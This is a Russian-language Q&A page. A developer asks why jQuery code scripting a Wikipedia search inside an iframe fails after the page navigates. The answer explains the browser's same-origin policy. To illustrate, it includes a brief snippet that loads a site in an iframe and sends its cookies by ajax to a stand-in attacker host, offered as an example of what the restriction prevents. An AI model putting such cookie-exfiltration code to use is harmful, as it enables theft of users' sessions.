Событие «загрузка» в iframe срабатывает успешно, но iframe не может быть целью - PullRequest
0 голосов
/ 20 мая 2019

Я успешно создал фрагмент кода, который принимает массив CSV, и через IFRAME перетащите текст в панель поиска Википедии и нажмите кнопку поиска. К сожалению, после загрузки я больше не могу ориентироваться на контент IFRAME. Я также вложил два обработчика событий загрузки с намерением дождаться завершения загрузки каждой страницы.

У меня установлены обработчики для отмены привязки / выключения после запуска, и это, кажется, предотвращает запуск «дублирующих событий». Я попробовал несколько тактик, чтобы определить, запускается ли обработчик событий в нужное время, вместе с изменением идентификатора цели, но не уверен, что еще можно попробовать в этот момент. Я подозреваю, что 2-й обработчик событий запускается на предыдущей странице, так как он уже сработал, но «добавления» работают, как и ожидалось.

$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
    $("#iframeTarget").unbind();
    $("#iframeTarget").off();
    $("#iframeTarget").attr("id","iframeTarget2");

    $("#debugwindow").append("start interior of 1<br>");

    $("#iframeTarget2").on("load", function() {
        $("#iframeTarget2").unbind();
        $("#iframeTarget2").off();
        $("#iframeTarget2").attr("id","iframeTarget3");

        $("#debugwindow").append("start interior of 2<br>");

        $("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
        $("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
        // $("#iframecont").html("I ruin everything!"); // targets iframe container as test

        $("#debugwindow").append("end interior of 2<br>");
    });

    $(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
    $(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page

    $("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");

Ищет какие-либо идеи для правильной настройки двух обработчиков событий или если моя логика неверна. В идеале я смогу заполнить строку поиска, запустить поиск, а затем манипулировать DOM на следующей загруженной странице.

1 Ответ

1 голос
/ 20 мая 2019

Это из-за проблем безопасности в браузере. Вы не сможете выполнить какой-либо сценарий в javascript iframe, так как он представляет большой риск, если вы сможете выполнить код javascript внутри удаленного iframe.

Например:

<iframe src="http://website.to.hack"></iframe>

$(iframe).load(() => {
    $.ajax({
        url: 'http://my.website',
        data: iframe.document.cookie
    });
});

Теперь у меня есть все ваши куки для этого сайта. Если у этого фрейма нет определенного доверия между вашим сайтом и им, вы не сможете писать сценарии. (Вам, вероятно, понадобится расширение Chrome для этого).

См. этот пост и ветку для получения дополнительной информации.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...